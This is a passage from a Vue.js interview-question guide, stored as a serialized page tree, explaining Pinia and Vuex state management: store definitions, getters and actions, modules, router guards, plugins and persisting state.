of state needs to reach a component many levels down, you end up \"drilling\" it through every component in between, even ones that do not care about it. ",[18,14797,10030],{},[18,14799,10033],{}," fixes the drilling problem: an ancestor can expose a value directly to any descendant. But it does not fix ownership. Anyone with access to the injected value can mutate it, there is no single place that shows every action that changed it, and Vue devtools cannot show you a timeline of what happened and why.",[11,14802,14803],{},"A centralized store (Pinia or Vuex) solves both problems at once. State lives in one place, changes go through named actions (or mutations in Vuex), and every component that needs the data reads from the same source regardless of where it sits in the component tree. This makes state changes traceable, testable in isolation, and visible in devtools, none of which come for free with props or provide/inject.",[34,14805,14807],{"id":14806},"_104-what-is-pinia-and-how-do-you-define-a-store-with-it","104. What is Pinia, and how do you define a store with it?",[11,14809,14810],{},"Pinia is Vue's official state management library. It gives you a single, reactive store you can read from and write to anywhere in your app, with full TypeScript support and Vue devtools integration (time travel, action logging), without the boilerplate Vuex used to require.",[11,14812,14813],{},[1268,14814],{"alt":14815,"src":14816},"Pinia store architecture diagram","/post-images/top-150-vuejs-interview-questions/pinia-store-architecture-diagram.png",[11,14818,14819,14820,14823,14824,325,14826,14828,14829,14831],{},"You define a store by calling ",[18,14821,14822],{},"defineStore"," with a unique id and either an options object or a setup function. The setup style looks like a component's ",[18,14825,20],{},[18,14827,1004],{},"s become state, ",[18,14830,629],{},"s become getters, and plain functions become actions.",[123,14833,14835],{"className":388,"code":14834,"language":390,"meta":128,"style":128},"import { defineStore } from 'pinia'\nimport { ref, computed } from 'vue'\n\nexport const useCounterStore = defineStore('counter', () => {\n    const count = ref(0)\n    const doubled = computed(() => count.value * 2)\n\n    function increment() {\n        count.value++\n    }\n\n    return { count, doubled, increment }\n})\n",[18,14836,14837,14849,14859,14863,14889,14905,14928,14932,14940,14947,14951,14955,14962],{"__ignoreMap":128},[132,14838,14839,14841,14844,14846],{"class":134,"line":135},[132,14840,210],{"class":209},[132,14842,14843],{"class":138}," { defineStore } ",[132,14845,216],{"class":209},[132,14847,14848],{"class":165}," 'pinia'\n",[132,14850,14851,14853,14855,14857],{"class":134,"line":149},[132,14852,210],{"class":209},[132,14854,5527],{"class":138},[132,14856,216],{"class":209},[132,14858,219],{"class":165},[132,14860,14861],{"class":134,"line":176},[132,14862,190],{"emptyLinePlaceholder":189},[132,14864,14865,14867,14869,14872,14874,14877,14879,14882,14885,14887],{"class":134,"line":186},[132,14866,807],{"class":209},[132,14868,10226],{"class":209},[132,14870,14871],{"class":233}," useCounterStore",[132,14873,237],{"class":209},[132,14875,14876],{"class":158}," defineStore",[132,14878,243],{"class":138},[132,14880,14881],{"class":165},"'counter'",[132,14883,14884],{"class":138},", () ",[132,14886,2662],{"class":209},[132,14888,316],{"class":138},[132,14890,14891,14893,14895,14897,14899,14901,14903],{"class":134,"line":193},[132,14892,4242],{"class":209},[132,14894,234],{"class":233},[132,14896,237],{"class":209},[132,14898,240],{"class":158},[132,14900,243],{"class":138},[132,14902,246],{"class":233},[132,14904,249],{"class":138},[132,14906,14907,14909,14912,14914,14916,14918,14920,14922,14924,14926],{"class":134,"line":206},[132,14908,4242],{"class":209},[132,14910,14911],{"class":233}," doubled",[132,14913,237],{"class":209},[132,14915,2656],{"class":158},[132,14917,2659],{"class":138},[132,14919,2662],{"class":209},[132,14921,5263],{"class":138},[132,14923,4683],{"class":209},[132,14925,5268],{"class":233},[132,14927,249],{"class":138},[132,14929,14930],{"class":134,"line":222},[132,14931,190],{"emptyLinePlaceholder":189},[132,14933,14934,14936,14938],{"class":134,"line":227},[132,14935,4259],{"class":209},[132,14937,263],{"class":158},[132,14939,266],{"class":138},[132,14941,14942,14945],{"class":134,"line":252},[132,14943,14944],{"class":138},"        count.value",[132,14946,275],{"class":209},[132,14948,14949],{"class":134,"line":257},[132,14950,870],{"class":138},[132,14952,14953],{"class":134,"line":269},[132,14954,190],{"emptyLinePlaceholder":189},[132,14956,14957,14959],{"class":134,"line":278},[132,14958,706],{"class":209},[132,14960,14961],{"class":138}," { count, doubled, increment }\n",[132,14963,14964],{"class":134,"line":284},[132,14965,3156],{"class":138},[11,14967,14968,14969,14972],{},"Any component can then call ",[18,14970,14971],{},"useCounterStore()"," to get a reactive instance of the store.",[34,14974,14976],{"id":14975},"_105-what-are-state-getters-and-actions-in-a-pinia-store","105. What are state, getters, and actions in a Pinia store?",[11,14978,14979,14981,14982,14985,14986,14989,14990,14993],{},[18,14980,3525],{}," is the reactive data the store owns, the single source of truth for that store, similar to ",[18,14983,14984],{},"data()"," in a component. ",[18,14987,14988],{},"getters"," are derived values computed from state (and other getters), cached like computed properties and recalculated only when their dependencies change. ",[18,14991,14992],{},"actions"," are functions that read and mutate state, this is where you put business logic, API calls, or anything that changes more than one piece of state at once.",[11,14995,14996],{},"In an options-style store these map directly onto three separate options:",[123,14998,15000],{"className":388,"code":14999,"language":390,"meta":128,"style":128},"export const useUserStore = defineStore('user', {\n    state: () => ({\n        firstName: 'Ada',\n        lastName: 'Lovelace'\n    }),\n    getters: {\n        fullName: (state) => `${state.firstName} ${state.lastName}`\n    },\n    actions: {\n        async login(credentials) {\n            const user = await api.login(credentials)\n            this.firstName = user.firstName\n            this.lastName = user.lastName\n        }\n    }\n})\n",[18,15001,15002,15022,15034,15043,15051,15056,15061,15092,15096,15101,15116,15137,15150,15162,15166,15170],{"__ignoreMap":128},[132,15003,15004,15006,15008,15011,15013,15015,15017,15019],{"class":134,"line":135},[132,15005,807],{"class":209},[132,15007,10226],{"class":209},[132,15009,15010],{"class":233}," useUserStore",[132,15012,237],{"class":209},[132,15014,14876],{"class":158},[132,15016,243],{"class":138},[132,15018,13830],{"class":165},[132,15020,15021],{"class":138},", {\n",[132,15023,15024,15027,15029,15031],{"class":134,"line":149},[132,15025,15026],{"class":158},"    state",[132,15028,7020],{"class":138},[132,15030,2662],{"class":209},[132,15032,15033],{"class":138}," ({\n",[132,15035,15036,15039,15041],{"class":134,"line":176},[132,15037,15038],{"class":138},"        firstName: ",[132,15040,5754],{"class":165},[132,15042,2377],{"class":138},[132,15044,15045,15048],{"class":134,"line":186},[132,15046,15047],{"class":138},"        lastName: ",[132,15049,15050],{"class":165},"'Lovelace'\n",[132,15052,15053],{"class":134,"line":193},[132,15054,15055],{"class":138},"    }),\n",[132,15057,15058],{"class":134,"line":206},[132,15059,15060],{"class":138},"    getters: {\n",[132,15062,15063,15066,15068,15070,15072,15074,15076,15078,15080,15082,15084,15086,15088,15090],{"class":134,"line":222},[132,15064,15065],{"class":158},"        fullName",[132,15067,6601],{"class":138},[132,15069,3525],{"class":697},[132,15071,5284],{"class":138},[132,15073,2662],{"class":209},[132,15075,5805],{"class":165},[132,15077,3525],{"class":138},[132,15079,385],{"class":165},[132,15081,5808],{"class":138},[132,15083,5815],{"class":165},[132,15085,3525],{"class":138},[132,15087,385],{"class":165},[132,15089,5818],{"class":138},[132,15091,5825],{"class":165},[132,15093,15094],{"class":134,"line":227},[132,15095,5830],{"class":138},[132,15097,15098],{"class":134,"line":252},[132,15099,15100],{"class":138},"    actions: {\n",[132,15102,15103,15106,15109,15111,15114],{"class":134,"line":257},[132,15104,15105],{"class":209},"        async",[132,15107,15108],{"class":158}," login",[132,15110,243],{"class":138},[132,15112,15113],{"class":697},"credentials",[132,15115,701],{"class":138},[132,15117,15118,15121,15123,15125,15128,15131,15134],{"class":134,"line":269},[132,15119,15120],{"class":209},"            const",[132,15122,6182],{"class":233},[132,15124,237],{"class":209},[132,15126,15127],{"class":209}," await",[132,15129,15130],{"class":138}," api.",[132,15132,15133],{"class":158},"login",[132,15135,15136],{"class":138},"(credentials)\n",[132,15138,15139,15142,15145,15147],{"class":134,"line":278},[132,15140,15141],{"class":233},"            this",[132,15143,15144],{"class":138},".firstName ",[132,15146,162],{"class":209},[132,15148,15149],{"class":138}," user.firstName\n",[132,15151,15152,15154,15157,15159],{"class":134,"line":284},[132,15153,15141],{"class":233},[132,15155,15156],{"class":138},".lastName ",[132,15158,162],{"class":209},[132,15160,15161],{"class":138}," user.lastName\n",[132,15163,15164],{"class":134,"line":293},[132,15165,857],{"class":138},[132,15167,15168],{"class":134,"line":298},[132,15169,870],{"class":138},[132,15171,15172],{"class":134,"line":311},[132,15173,3156],{"class":138},[11,15175,15176],{},"Unlike Vuex, actions can be asynchronous directly, there is no separate \"mutations\" concept, actions are allowed to change state themselves.",[34,15178,15180],{"id":15179},"_106-what-is-the-difference-between-the-options-style-and-the-composition-setup-style-pinia-store","106. What is the difference between the Options-style and the Composition (setup)-style Pinia store?",[11,15182,15183,15184,581,15186,626,15188,15190],{},"Pinia lets you write a store two ways, and both produce the exact same kind of store at runtime. The options store takes an object with ",[18,15185,3525],{},[18,15187,14988],{},[18,15189,14992],{}," keys, it should feel familiar if you have used Vuex or the Options API.",[123,15192,15194],{"className":388,"code":15193,"language":390,"meta":128,"style":128},"export const useCartStore = defineStore('cart', {\n    state: () => ({ items: [] }),\n    getters: {\n        total: (state) => state.items.reduce((sum, i) => sum + i.price, 0)\n    },\n    actions: {\n        addItem(item) {\n            this.items.push(item)\n        }\n    }\n})\n",[18,15195,15196,15216,15227,15231,15276,15280,15284,15296,15308,15312,15316],{"__ignoreMap":128},[132,15197,15198,15200,15202,15205,15207,15209,15211,15214],{"class":134,"line":135},[132,15199,807],{"class":209},[132,15201,10226],{"class":209},[132,15203,15204],{"class":233}," useCartStore",[132,15206,237],{"class":209},[132,15208,14876],{"class":158},[132,15210,243],{"class":138},[132,15212,15213],{"class":165},"'cart'",[132,15215,15021],{"class":138},[132,15217,15218,15220,15222,15224],{"class":134,"line":149},[132,15219,15026],{"class":158},[132,15221,7020],{"class":138},[132,15223,2662],{"class":209},[132,15225,15226],{"class":138}," ({ items: [] }),\n",[132,15228,15229],{"class":134,"line":176},[132,15230,15060],{"class":138},[132,15232,15233,15236,15238,15240,15242,15244,15247,15250,15252,15255,15257,15259,15261,15263,15266,15269,15272,15274],{"class":134,"line":186},[132,15234,15235],{"class":158},"        total",[132,15237,6601],{"class":138},[132,15239,3525],{"class":697},[132,15241,5284],{"class":138},[132,15243,2662],{"class":209},[132,15245,15246],{"class":138}," state.items.",[132,15248,15249],{"class":158},"reduce",[132,15251,6351],{"class":138},[132,15253,15254],{"class":697},"sum",[132,15256,581],{"class":138},[132,15258,5679],{"class":697},[132,15260,5284],{"class":138},[132,15262,2662],{"class":209},[132,15264,15265],{"class":138}," sum ",[132,15267,15268],{"class":209},"+",[132,15270,15271],{"class":138}," i.price, ",[132,15273,246],{"class":233},[132,15275,249],{"class":138},[132,15277,15278],{"class":134,"line":193},[132,15279,5830],{"class":138},[132,15281,15282],{"class":134,"line":206},[132,15283,15100],{"class":138},[132,15285,15286,15289,15291,15294],{"class":134,"line":222},[132,15287,15288],{"class":158},"        addItem",[132,15290,243],{"class":138},[132,15292,15293],{"class":697},"item",[132,15295,701],{"class":138},[132,15297,15298,15300,15303,15305],{"class":134,"line":227},[132,15299,15141],{"class":233},[132,15301,15302],{"class":138},".items.",[132,15304,3560],{"class":158},[132,15306,15307],{"class":138},"(item)\n",[132,15309,15310],{"class":134,"line":252},[132,15311,857],{"class":138},[132,15313,15314],{"class":134,"line":257},[132,15315,870],{"class":138},[132,15317,15318],{"class":134,"line":269},[132,15319,3156],{"class":138},[11,15321,15322,15323,8051,15325,4319,15327,15329,15330,15332],{},"The setup store takes a function, the same shape as ",[18,15324,20],{},[18,15326,1004],{},[18,15328,3999],{}," values become state, ",[18,15331,629],{}," values become getters, and regular functions become actions.",[123,15334,15336],{"className":388,"code":15335,"language":390,"meta":128,"style":128},"export const useCartStore = defineStore('cart', () => {\n    const items = ref([])\n    const total = computed(() => items.value.reduce((sum, i) => sum + i.price, 0))\n\n    function addItem(item) {\n        items.value.push(item)\n    }\n\n    return { items, total, addItem }\n})\n",[18,15337,15338,15360,15373,15414,15418,15431,15440,15444,15448,15455],{"__ignoreMap":128},[132,15339,15340,15342,15344,15346,15348,15350,15352,15354,15356,15358],{"class":134,"line":135},[132,15341,807],{"class":209},[132,15343,10226],{"class":209},[132,15345,15204],{"class":233},[132,15347,237],{"class":209},[132,15349,14876],{"class":158},[132,15351,243],{"class":138},[132,15353,15213],{"class":165},[132,15355,14884],{"class":138},[132,15357,2662],{"class":209},[132,15359,316],{"class":138},[132,15361,15362,15364,15366,15368,15370],{"class":134,"line":149},[132,15363,4242],{"class":209},[132,15365,1606],{"class":233},[132,15367,237],{"class":209},[132,15369,240],{"class":158},[132,15371,15372],{"class":138},"([])\n",[132,15374,15375,15377,15379,15381,15383,15385,15387,15389,15391,15393,15395,15397,15399,15401,15403,15405,15407,15409,15411],{"class":134,"line":176},[132,15376,4242],{"class":209},[132,15378,5581],{"class":233},[132,15380,237],{"class":209},[132,15382,2656],{"class":158},[132,15384,2659],{"class":138},[132,15386,2662],{"class":209},[132,15388,5672],{"class":138},[132,15390,15249],{"class":158},[132,15392,6351],{"class":138},[132,15394,15254],{"class":697},[132,15396,581],{"class":138},[132,15398,5679],{"class":697},[132,15400,5284],{"class":138},[132,15402,2662],{"class":209},[132,15404,15265],{"class":138},[132,15406,15268],{"class":209},[132,15408,15271],{"class":138},[132,15410,246],{"class":233},[132,15412,15413],{"class":138},"))\n",[132,15415,15416],{"class":134,"line":186},[132,15417,190],{"emptyLinePlaceholder":189},[132,15419,15420,15422,15425,15427,15429],{"class":134,"line":193},[132,15421,4259],{"class":209},[132,15423,15424],{"class":158}," addItem",[132,15426,243],{"class":138},[132,15428,15293],{"class":697},[132,15430,701],{"class":138},[132,15432,15433,15436,15438],{"class":134,"line":206},[132,15434,15435],{"class":138},"        items.value.",[132,15437,3560],{"class":158},[132,15439,15307],{"class":138},[132,15441,15442],{"class":134,"line":222},[132,15443,870],{"class":138},[132,15445,15446],{"class":134,"line":227},[132,15447,190],{"emptyLinePlaceholder":189},[132,15449,15450,15452],{"class":134,"line":252},[132,15451,706],{"class":209},[132,15453,15454],{"class":138}," { items, total, addItem }\n",[132,15456,15457],{"class":134,"line":257},[132,15458,3156],{"class":138},[11,15460,15461],{},"The setup style is more flexible: you can use watchers and other composables inside the store, and it is generally the recommended default once you are comfortable with the Composition API. The options style is easier to read for people coming from Vuex and needs less explanation of what counts as state versus a getter.",[34,15463,15465],{"id":15464},"_107-why-did-pinia-replace-vuex-as-the-officially-recommended-state-management-library","107. Why did Pinia replace Vuex as the officially recommended state management library?",[11,15467,15468],{},"Pinia was built to fix the pain points Vuex had accumulated over the years. Vuex needed a strict split between mutations (synchronous, for state changes) and actions (for anything async), which meant a lot of ceremony for a simple state update. Pinia drops mutations entirely, actions can change state directly and can be sync or async.",[11,15470,15471,15472,4319,15475,15478],{},"TypeScript support was also a big driver: Vuex's typing was awkward, especially around modules and ",[18,15473,15474],{},"mapState",[18,15476,15477],{},"mapActions"," helpers, while Pinia is written with TypeScript first, so types are inferred automatically without extra typing gymnastics.",[11,15480,15481,15482,15485],{},"Pinia stores are also flat, not nested. Vuex leaned on nested, namespaced modules that needed careful string based namespacing (",[18,15483,15484],{},"'cart/addItem'","); Pinia stores are just separate, independently importable store definitions, so there is no nesting or namespace typos to worry about.",[11,15487,15488],{},"Finally, Pinia works outside of components more naturally, has a smaller footprint, and its devtools support (action tracking, time travel) matches or beats Vuex's. Given all this, the Vue core team adopted Pinia as the official recommendation for Vue 3, and it works with Vue 2 as well through a compatibility layer.",[34,15490,15492],{"id":15491},"_108-what-is-vuex-and-what-are-its-four-core-building-blocks","108. What is Vuex, and what are its four core building blocks?",[11,15494,15495],{},"Vuex is the state management library that was the official recommendation for Vue 2, and it is still found in plenty of production codebases even though Pinia has taken over for new projects. Vuex enforces a strict, predictable flow for state changes so that large apps stay debuggable.",[11,15497,15498],{},"It is built around four pieces:",[479,15500,15501,15510],{},[482,15502,15503],{},[485,15504,15505,15508],{},[488,15506,15507],{},"Piece",[488,15509,1202],{},[498,15511,15512,15521,15530,15540],{},[485,15513,15514,15518],{},[503,15515,15516],{},[18,15517,3525],{},[503,15519,15520],{},"The single, reactive source of truth for the whole store",[485,15522,15523,15527],{},[503,15524,15525],{},[18,15526,14988],{},[503,15528,15529],{},"Computed values derived from state, cached until dependencies change",[485,15531,15532,15537],{},[503,15533,15534],{},[18,15535,15536],{},"mutations",[503,15538,15539],{},"The only way to change state directly, must be synchronous",[485,15541,15542,15546],{},[503,15543,15544],{},[18,15545,14992],{},[503,15547,15548],{},"Business logic, can be async, commit one or more mutations",[11,15550,15551,15552,15555,15556,15559,15560,15562],{},"Components dispatch actions (",[18,15553,15554],{},"store.dispatch('login', creds)","), actions do their async work then commit mutations (",[18,15557,15558],{},"store.commit('setUser', user)","), and mutations are the only code allowed to touch ",[18,15561,3525],{}," directly. This one-way flow (dispatch, then action, then commit, then mutation, then state, then view) is what made Vuex apps predictable and easy to trace in devtools.",[34,15564,15566],{"id":15565},"_109-why-does-vuex-require-mutations-to-be-synchronous","109. Why does Vuex require mutations to be synchronous?",[11,15568,15569],{},"Vuex's devtools integration relies on being able to take a snapshot of the state before and after every mutation and log it as a single, discrete step in a timeline. This is what makes \"time travel debugging\" possible, jumping the app back to any previous state by replaying mutations in order.",[11,15571,15572],{},"If a mutation could run asynchronously, the devtools would have no reliable way to know when the state change actually happened relative to other mutations firing around the same time. Two async mutations could interleave, and the snapshot logged for one mutation might actually contain changes from another. That breaks the guarantee that each entry in the timeline corresponds to exactly one state change.",[11,15574,15575,15576,15578,15579,15582],{},"This is why async work belongs in actions, not mutations: an action can ",[18,15577,11849],{}," an API call, then ",[18,15580,15581],{},"commit"," a mutation once the result is ready, and that commit is the synchronous, trackable event Vuex records. It is a debugging and predictability guarantee, not a technical limitation of Vue's reactivity.",[34,15584,15586],{"id":15585},"_110-what-are-vuex-modules-and-why-would-you-split-a-store-into-them","110. What are Vuex modules, and why would you split a store into them?",[11,15588,15589,15590,581,15592,581,15594,626,15596,15598],{},"A Vuex module is a self contained slice of the store, it has its own ",[18,15591,3525],{},[18,15593,14988],{},[18,15595,15536],{},[18,15597,14992],{},", and gets registered under a key on the root store.",[123,15600,15602],{"className":388,"code":15601,"language":390,"meta":128,"style":128},"const cart = {\n    namespaced: true,\n    state: () => ({ items: [] }),\n    mutations: {\n        addItem(state, item) {\n            state.items.push(item)\n        }\n    }\n}\n\nconst store = createStore({\n    modules: { cart }\n})\n",[18,15603,15604,15615,15624,15634,15639,15653,15662,15666,15670,15674,15678,15692,15697],{"__ignoreMap":128},[132,15605,15606,15608,15611,15613],{"class":134,"line":135},[132,15607,230],{"class":209},[132,15609,15610],{"class":233}," cart",[132,15612,237],{"class":209},[132,15614,316],{"class":138},[132,15616,15617,15620,15622],{"class":134,"line":149},[132,15618,15619],{"class":138},"    namespaced: ",[132,15621,1853],{"class":233},[132,15623,2377],{"class":138},[132,15625,15626,15628,15630,15632],{"class":134,"line":176},[132,15627,15026],{"class":158},[132,15629,7020],{"class":138},[132,15631,2662],{"class":209},[132,15633,15226],{"class":138},[132,15635,15636],{"class":134,"line":186},[132,15637,15638],{"class":138},"    mutations: {\n",[132,15640,15641,15643,15645,15647,15649,15651],{"class":134,"line":193},[132,15642,15288],{"class":158},[132,15644,243],{"class":138},[132,15646,3525],{"class":697},[132,15648,581],{"class":138},[132,15650,15293],{"class":697},[132,15652,701],{"class":138},[132,15654,15655,15658,15660],{"class":134,"line":206},[132,15656,15657],{"class":138},"            state.items.",[132,15659,3560],{"class":158},[132,15661,15307],{"class":138},[132,15663,15664],{"class":134,"line":222},[132,15665,857],{"class":138},[132,15667,15668],{"class":134,"line":227},[132,15669,870],{"class":138},[132,15671,15672],{"class":134,"line":252},[132,15673,281],{"class":138},[132,15675,15676],{"class":134,"line":257},[132,15677,190],{"emptyLinePlaceholder":189},[132,15679,15680,15682,15685,15687,15690],{"class":134,"line":269},[132,15681,230],{"class":209},[132,15683,15684],{"class":233}," store",[132,15686,237],{"class":209},[132,15688,15689],{"class":158}," createStore",[132,15691,4542],{"class":138},[132,15693,15694],{"class":134,"line":278},[132,15695,15696],{"class":138},"    modules: { cart }\n",[132,15698,15699],{"class":134,"line":284},[132,15700,3156],{"class":138},[11,15702,15703,15704,581,15707,581,15710,15713],{},"As an app grows, keeping everything in one flat store file becomes hard to navigate, unrelated features start colliding on getter or mutation names, and it gets hard to tell which part of the app owns which piece of state. Splitting into modules (one per feature, like ",[18,15705,15706],{},"cart",[18,15708,15709],{},"auth",[18,15711,15712],{},"products",") keeps related state, getters, mutations, and actions together and makes ownership obvious.",[11,15715,15716,15717,15720,15721,15724,15725,15728],{},"Setting ",[18,15718,15719],{},"namespaced: true"," on a module prefixes its getters, mutations, and actions with the module name (",[18,15722,15723],{},"cart/addItem","), which prevents naming collisions between modules and makes it clear, when you read ",[18,15726,15727],{},"dispatch('cart/checkout')"," in a component, exactly where that logic lives.",[34,15730,15732],{"id":15731},"_111-how-do-you-access-a-pinia-store-outside-of-a-component-for-example-inside-a-router-navigation-guard","111. How do you access a Pinia store outside of a component, for example inside a router navigation guard?",[11,15734,15735,15736,15739],{},"Since Pinia stores are just functions you call (",[18,15737,15738],{},"useXStore()","), you can call them from plain JavaScript too, as long as the Pinia instance has already been installed on the app before that code runs. In a router guard this is usually fine because the guard only runs after the app (and Pinia) is set up.",[123,15741,15743],{"className":388,"code":15742,"language":390,"meta":128,"style":128},"import { useAuthStore } from '@/stores/auth'\n\nrouter.beforeEach((to) => {\n    const auth = useAuthStore()\n\n    if (to.meta.requiresAuth && !auth.isLoggedIn) {\n        return { name: 'login' }\n    }\n})\n",[18,15744,15745,15757,15761,15777,15791,15795,15808,15818,15822],{"__ignoreMap":128},[132,15746,15747,15749,15752,15754],{"class":134,"line":135},[132,15748,210],{"class":209},[132,15750,15751],{"class":138}," { useAuthStore } ",[132,15753,216],{"class":209},[132,15755,15756],{"class":165}," '@/stores/auth'\n",[132,15758,15759],{"class":134,"line":149},[132,15760,190],{"emptyLinePlaceholder":189},[132,15762,15763,15765,15767,15769,15771,15773,15775],{"class":134,"line":176},[132,15764,13847],{"class":138},[132,15766,13966],{"class":158},[132,15768,6351],{"class":138},[132,15770,14036],{"class":697},[132,15772,5284],{"class":138},[132,15774,2662],{"class":209},[132,15776,316],{"class":138},[132,15778,15779,15781,15784,15786,15789],{"class":134,"line":186},[132,15780,4242],{"class":209},[132,15782,15783],{"class":233}," auth",[132,15785,237],{"class":209},[132,15787,15788],{"class":158}," useAuthStore",[132,15790,4951],{"class":138},[132,15792,15793],{"class":134,"line":193},[132,15794,190],{"emptyLinePlaceholder":189},[132,15796,15797,15799,15801,15803,15805],{"class":134,"line":206},[132,15798,14051],{"class":209},[132,15800,14054],{"class":138},[132,15802,14057],{"class":209},[132,15804,2678],{"class":209},[132,15806,15807],{"class":138},"auth.isLoggedIn) {\n",[132,15809,15810,15812,15814,15816],{"class":134,"line":222},[132,15811,862],{"class":209},[132,15813,14072],{"class":138},[132,15815,14075],{"class":165},[132,15817,14078],{"class":138},[132,15819,15820],{"class":134,"line":227},[132,15821,870],{"class":138},[132,15823,15824],{"class":134,"line":252},[132,15825,3156],{"class":138},[11,15827,15828,15829,15831,15832,15835],{},"The one thing to be careful about is calling ",[18,15830,15738],{}," at the top of a module, outside any function, before Pinia has been installed via ",[18,15833,15834],{},"app.use(pinia)",". That will fail because there is no active Pinia instance yet. Call the store function lazily, inside the guard callback itself as shown above, rather than storing the result in a module level variable at import time.",[34,15837,15839],{"id":15838},"_112-what-are-pinia-plugins-and-what-can-you-use-them-for","112. What are Pinia plugins, and what can you use them for?",[11,15841,15842,15843,15846],{},"A Pinia plugin is a function you register once, with ",[18,15844,15845],{},"pinia.use(myPlugin)",", that Pinia then runs against every store that gets created. The plugin receives a context object (including the store instance) and can add new properties, wrap actions, or subscribe to state changes on every store, without you having to repeat that logic inside each store definition.",[123,15848,15850],{"className":388,"code":15849,"language":390,"meta":128,"style":128},"function loggerPlugin({ store }) {\n    store.$subscribe((mutation, state) => {\n        console.log(`${store.$id} changed:`, mutation)\n    })\n}\n\npinia.use(loggerPlugin)\n",[18,15851,15852,15867,15890,15914,15918,15922,15926],{"__ignoreMap":128},[132,15853,15854,15856,15859,15862,15865],{"class":134,"line":135},[132,15855,260],{"class":209},[132,15857,15858],{"class":158}," loggerPlugin",[132,15860,15861],{"class":138},"({ ",[132,15863,15864],{"class":697},"store",[132,15866,12535],{"class":138},[132,15868,15869,15872,15875,15877,15880,15882,15884,15886,15888],{"class":134,"line":149},[132,15870,15871],{"class":138},"    store.",[132,15873,15874],{"class":158},"$subscribe",[132,15876,6351],{"class":138},[132,15878,15879],{"class":697},"mutation",[132,15881,581],{"class":138},[132,15883,3525],{"class":697},[132,15885,5284],{"class":138},[132,15887,2662],{"class":209},[132,15889,316],{"class":138},[132,15891,15892,15894,15896,15898,15901,15903,15905,15908,15911],{"class":134,"line":176},[132,15893,4814],{"class":138},[132,15895,3143],{"class":158},[132,15897,243],{"class":138},[132,15899,15900],{"class":165},"`${",[132,15902,15864],{"class":138},[132,15904,385],{"class":165},[132,15906,15907],{"class":138},"$id",[132,15909,15910],{"class":165},"} changed:`",[132,15912,15913],{"class":138},", mutation)\n",[132,15915,15916],{"class":134,"line":186},[132,15917,4824],{"class":138},[132,15919,15920],{"class":134,"line":193},[132,15921,281],{"class":138},[132,15923,15924],{"class":134,"line":206},[132,15925,190],{"emptyLinePlaceholder":189},[132,15927,15928,15931,15933],{"class":134,"line":222},[132,15929,15930],{"class":138},"pinia.",[132,15932,13203],{"class":158},[132,15934,15935],{"class":138},"(loggerPlugin)\n",[11,15937,15938,15939,15941,15942,15945,15946,15949,15950,15953],{},"Common real world uses include: persisting state to ",[18,15940,6033],{}," on every change, resetting all stores on logout, adding a shared property (like a ",[18,15943,15944],{},"router"," or an ",[18,15947,15948],{},"api"," client) to every store so actions can use ",[18,15951,15952],{},"this.router"," without importing it, and logging or sending state changes to an analytics tool. Plugins are the main extension point of Pinia, and most of the community packages you will use (like persistence plugins) are built exactly this way.",[34,15955,15957],{"id":15956},"_113-how-would-you-persist-pinia-state-across-page-reloads","113. How would you persist Pinia state across page reloads?",[11,15959,15960,15961,15964,15965,15968,15969,355,15971,15974],{},"The simplest option in real projects is the community plugin ",[18,15962,15963],{},"pinia-plugin-persistedstate",". You register it once on the Pinia instance, then opt individual stores in with ",[18,15966,15967],{},"persist: true",", and it automatically saves the store to ",[18,15970,6033],{},[18,15972,15973],{},"sessionStorage",") on change and restores it on load.",[123,15976,15978],{"className":388,"code":15977,"language":390,"meta":128,"style":128},"import { createPinia } from 'pinia'\nimport piniaPluginPersistedstate from 'pinia-plugin-persistedstate'\n\nconst pinia = createPinia()\npinia.use(piniaPluginPersistedstate)\n",[18,15979,15980,15991,16003,16007,16021],{"__ignoreMap":128},[132,15981,15982,15984,15987,15989],{"class":134,"line":135},[132,15983,210],{"class":209},[132,15985,15986],{"class":138}," { createPinia } ",[132,15988,216],{"class":209},[132,15990,14848],{"class":165},[132,15992,15993,15995,15998,16000],{"class":134,"line":149},[132,15994,210],{"class":209},[132,15996,15997],{"class":138}," piniaPluginPersistedstate ",[132,15999,216],{"class":209},[132,16001,16002],{"class":165}," 'pinia-plugin-persistedstate'\n",[132,16004,16005],{"class":134,"line":176},[132,16006,190],{"emptyLinePlaceholder":189},[132,16008,16009,16011,16014,16016,16019],{"class":134,"line":186},[132,16010,230],{"class":209},[132,16012,16013],{"class":233}," pinia",[132,16015,237],{"class":209},[132,16017,16018],{"class":158}," createPinia",[132,16020,4951],{"class":138},[132,16022,16023,16025,16027],{"class":134,"line":193},[132,16024,15930],{"class":138},[132,16026,13203],{"class":158},[132,16028,16029],{"class":138},"(piniaPluginPersistedstate)\n",[123,16031,16033],{"className":388,"code":16032,"language":390,"meta":128,"style":128},"export const useAuthStore = defineStore('auth', () => {\n    const token = ref(null)\n    return { token }\n}, {\n    persist: true\n})\n",[18,16034,16035,16058,16075,16082,16087,16094],{"__ignoreMap":128},[132,16036,16037,16039,16041,16043,16045,16047,16049,16052,16054,16056],{"class":134,"line":135},[132,16038,807],{"class":209},[132,16040,10226],{"class":209},[132,16042,15788],{"class":233},[132,16044,237],{"class":209},[132,16046,14876],{"class":158},[132,16048,243],{"class":138},[132,16050,16051],{"class":165},"'auth'",[132,16053,14884],{"class":138},[132,16055,2662],{"class":209},[132,16057,316],{"class":138},[132,16059,16060,16062,16065,16067,16069,16071,16073],{"class":134,"line":149},[132,16061,4242],{"class":209},[132,16063,16064],{"class":233}," token",[132,16066,237],{"class":209},[132,16068,240],{"class":158},[132,16070,243],{"class":138},[132,16072,719],{"class":233},[132,16074,249],{"class":138},[132,16076,16077,16079],{"class":134,"line":176},[132,16078,706],{"class":209},[132,16080,16081],{"class":138}," { token }\n",[132,16083,16084],{"class":134,"line":186},[132,16085,16086],{"class":138},"}, {\n",[132,16088,16089,16092],{"class":134,"line":193},[132,16090,16091],{"class":138},"    persist: ",[132,16093,6549],{"class":233},[132,16095,16096],{"class":134,"line":206},[132,16097,3156],{"class":138},[11,16099,16100,16101,16104],{},"If you do not want a dependency, you can do it manually with ",[18,16102,16103],{},"store.$subscribe",", which fires whenever any part of the store's state changes, plus a one time read on startup:",[123,16106,16108],{"className":388,"code":16107,"language":390,"meta":128,"style":128},"const saved = localStorage.getItem('auth')\nif (saved) authStore.$patch(JSON.parse(saved))\n\nauthStore.$subscribe((mutation, state) => {\n    localStorage.setItem('auth', JSON.stringify(state))\n})\n",[18,16109,16110,16131,16154,16158,16179,16203],{"__ignoreMap":128},[132,16111,16112,16114,16117,16119,16122,16125,16127,16129],{"class":134,"line":135},[132,16113,230],{"class":209},[132,16115,16116],{"class":233}," saved",[132,16118,237],{"class":209},[132,16120,16121],{"class":138}," 